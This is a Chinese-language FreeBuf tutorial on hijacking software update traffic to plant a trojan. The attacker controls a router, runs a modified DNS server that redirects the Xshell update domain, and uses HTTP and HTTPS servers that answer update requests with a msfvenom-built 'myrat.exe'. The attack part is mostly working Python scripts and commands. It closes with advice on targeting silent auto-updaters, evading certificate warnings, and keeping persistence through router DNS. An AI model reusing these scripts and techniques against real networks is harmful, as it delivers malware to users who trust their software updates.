*本文原创作者：R1ngk3y，本文属FreeBuf原创奖励计划，未经许可禁止转载

严正声明：本文仅限于技术讨论与分享，严禁用于非法途径。

前言

很多时候对目标进行渗透时一般会从web、网络设备、针对性钓鱼这三个方向入手。假设我们控制了目标网络中的一台网络设备，如路由器，内网用户流量会从这个地方经过我们怎么获取其权限呢 ？

这种时候可以在路由器上抓包分析用户流量，比如启动xshell、notepad++等软件时发送的更新请求包，然后我们替换软件更新的http响应包达到植入木马目的。

分析流量一般用tcpdump，如果只有路由器后台权限没有地方可以执行命令的话可以用DNS服务器配合HTTP代理来截获流量。

这里就演示一下去劫持软件更新服务器达到植入木马的目的

一、部署DNS服务器

为了方便演示这里将受害者机器上的DNS改为攻击者IP

下载sqlmap项目提取sqlmap\sqlmap-stable\lib\request目录中的dns.py

执行看看效果

在用户机器上ping了一下，DNS服务器这边已经成功接收域名解析请求并响应127.0.0.1

但是这个脚本中把所有域名解析请求都响应成127.0.0.1

需要修改一下

我们的需求是能够正常解析域名，再对某些指定域名进行劫持。

修改后代码如下

#!/usr/bin/env python"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""import osimport reimport socketimport threadingimport timeimport dns.resolverclass DNSQuery(object):
    """
    Used for making fake DNS resolution responses based on received
    raw request
    Reference(s):
        http://code.activestate.com/recipes/491264-mini-fake-dns-server/
        https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
    """
    def __init__(self, raw):
        self._raw = raw
        self._query = ""
        type_ = (ord(raw[2]) >> 3) & 15                 # Opcode bits
        if type_ == 0:                                  # Standard query
            i = 12
            j = ord(raw[i])            while j != 0:
                self._query += raw[i + 1:i + j + 1] + '.'
                i = i + j + 1
                j = ord(raw[i])    def response(self, resolution):
        """
        Crafts raw DNS resolution response packet
        """
        retVal = ""
        if self._query:
            retVal += self._raw[:2]                                             # Transaction ID
            retVal += "\x85\x80"                                                # Flags (Standard query response, No error)
            retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00"      # Questions and Answers Counts
            retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)]      # Original Domain Name Query
            retVal += "\xc0\x0c"                                                # Pointer to domain name
            retVal += "\x00\x01"                                                # Type A
            retVal += "\x00\x01"                                                # Class IN
            retVal += "\x00\x00\x00\x20"                                        # TTL (32 seconds)
            retVal += "\x00\x04"                                                # Data length
            retVal += "".join(chr(int(_)) for _ in resolution.split('.'))       # 4 bytes of IP
        return retValclass DNSServer(object):
    def __init__(self):
        self.my_resolver = dns.resolver.Resolver()
        self.my_resolver.nameservers = ['8.8.8.8']
        self._check_localhost()
        self._requests = []
        self._lock = threading.Lock()        try:
            self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)        except AttributeError:
            self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._socket.bind(("", 53))
        self._running = False
        self._initialized = False
    def _check_localhost(self):
        response = ""
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.connect(("", 53))
            s.send("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000".decode("hex"))  # A www.google.com
            response = s.recv(512)        except:            pass
        finally:            if response and "google" in response:                raise socket.error("another DNS service already running on *:53")    def pop(self, prefix=None, suffix=None):
        """
        Returns received DNS resolution request (if any) that has given
        prefix/suffix combination (e.g. prefix.<query result>.suffix.domain)
        """
        retVal = None
        with self._lock:            for _ in self._requests:                if prefix is None and suffix is None or re.search("%s\..+\.%s" % (prefix, suffix), _, re.I):
                    retVal = _
                    self._requests.remove(_)                    break
        return retVal    def get_domain_A(self,domain):
        try:
            results=self.my_resolver.query(domain,'A')            for i in results.response.answer:                for j in i.items:                    try:
                        ip_address = j.address                        if re.match('\d+\.+\d+\.+\d+\.+\d', ip_address):                            return ip_address                    except AttributeError as e:                        continue
        except Exception as e:            return '127.0.0.1'
            
    def run(self):
        """
        Runs a DNSServer instance as a daemon thread (killed by program exit)
        """
        def _():
            try:
                self._running = True
                self._initialized = True
                while True:
                    data, addr = self._socket.recvfrom(1024)
                    _ = DNSQuery(data)
                    domain=_._query[:-1] ###### exploit
                    ip=self.get_domain_A(domain)                    if domain=='cdn.netsarang.net':
                        ip='192.168.80.142'
                    print domain,' -> ',ip
                    self._socket.sendto(_.response(ip), addr)                    with self._lock:
                        self._requests.append(_._query)            except KeyboardInterrupt:                raise
            finally:
                self._running = False
        thread = threading.Thread(target=_)
        thread.daemon = True
        thread.start()if __name__ == "__main__":
    server = None
    try:
        server = DNSServer()
        server.run()        while not server._initialized:
            time.sleep(0.1)        while server._running:            while True:
                _ = server.pop()                if _ is None:                    break
                else:
                    domian=_[:-1]                    #print "[i] %s with A %s" % (domian,server.get_domain_A(domian))
            time.sleep(1)    except socket.error, ex:        if 'Permission' in str(ex):            print "[x] Please run with sudo/Administrator privileges"
        else:            raise
    except KeyboardInterrupt:
        os._exit(0)    finally:        if server:
            server._running = False

这个脚本的功能是将用户的DNS请求转发给GOOGLE的DNS服务器使用户能够正常上网，然后再对指定域名做劫持

可以看到现在用户已经可以正常上网了

然后部署HTTP代理服务器

代码我已经写好了

# -*- coding: UTF-8 -*-import socketimport threading, getopt, sys, stringimport re#设置默认的最大连接数和端口号list=50port=80file_contents=open('myrat.exe','rb').read()def req_server():
    return 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents    
def jonnyS(client, address):
    try:    #设置超时时间
        client.settimeout(500)    #接收数据的大小
        buf = client.recv(2048)        print buf    #将接收到的信息原样的返回到客户端中
        client.send(req_server())    #超时后显示退出
    except socket.timeout:        print 'time out'
    #关闭与客户端的连接
    client.close()def main():
    #创建socket对象。调用socket构造函数
    #AF_INET为ip地址族，SOCK_STREAM为流套接字
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    #将socket绑定到指定地址，第一个参数为ip地址，第二个参数为端口号
    sock.bind(('0.0.0.0', port))    #设置最多连接数量
    sock.listen(list)    while True:    #服务器套接字通过socket的accept方法等待客户请求一个连接
        client, address = sock.accept()
        thread = threading.Thread(target=jonnyS, args=(client, address))
        thread.start()if __name__ == '__main__':
    main()

这里的功能是收到用户的HTTP请求后直接响应一个二进制文件，也就是我们的木马

效果如下

很多软件更新时都走的https所以我们还需搭建https代理服务器

搭建HTTPS代理服务器

代码如下

import socketserver, ssl, timeclass MyHTTPSHandler_socket(socketserver.BaseRequestHandler):
    def handle(self):
        context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
        context.load_cert_chain(certfile="cert.pem")
        SSLSocket = context.wrap_socket(self.request, server_side=True)
        self.data = SSLSocket.recv(1024)
        print(self.data)
        file_contents=open('myrat.exe','rb').read()
        buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents
        SSLSocket.send(buf)if __name__ == "__main__":
    port = 443
    httpd = socketserver.TCPServer(('0.0.0.0', port), MyHTTPSHandler_socket)
    httpd.serve_forever()

执行openssl req -new -x509 -keyout https_svr_key.pem -out https_svr_key.pem -days 3650 -nodes  可以生成证书

搭建好后配置木马，这里就用msf做演示

msfvenom -p windows/ -f exe -o myrat.exe

然后看一下xshell的更新请求

域名是cdn.netsarang.net,看一下流量

可以看到是走的https

在dns服务器中添加如下

架设https服务器

运行脚本和msf监听

视频效果图

总结

1.可以针对firefox等自动更新或后台静默更新的这类应用程序进行流量替换，这样成功率会很高被发现可能性也小

2.当更新包请求是https时需要注意证书问题,可以尝试利用cname绕过，比如在dns服务器上把www.baidu.com重定向到www.exploit.com，我们有www.exploit.com的合法证书这样就不会报错.

3.在路由器上修改DNS也可以作为一种持久性控制的手段，某天权限不慎丢失了，继续植入就行了。

*本文原创作者：R1ngk3y，本文属FreeBuf原创奖励计划，未经许可禁止转载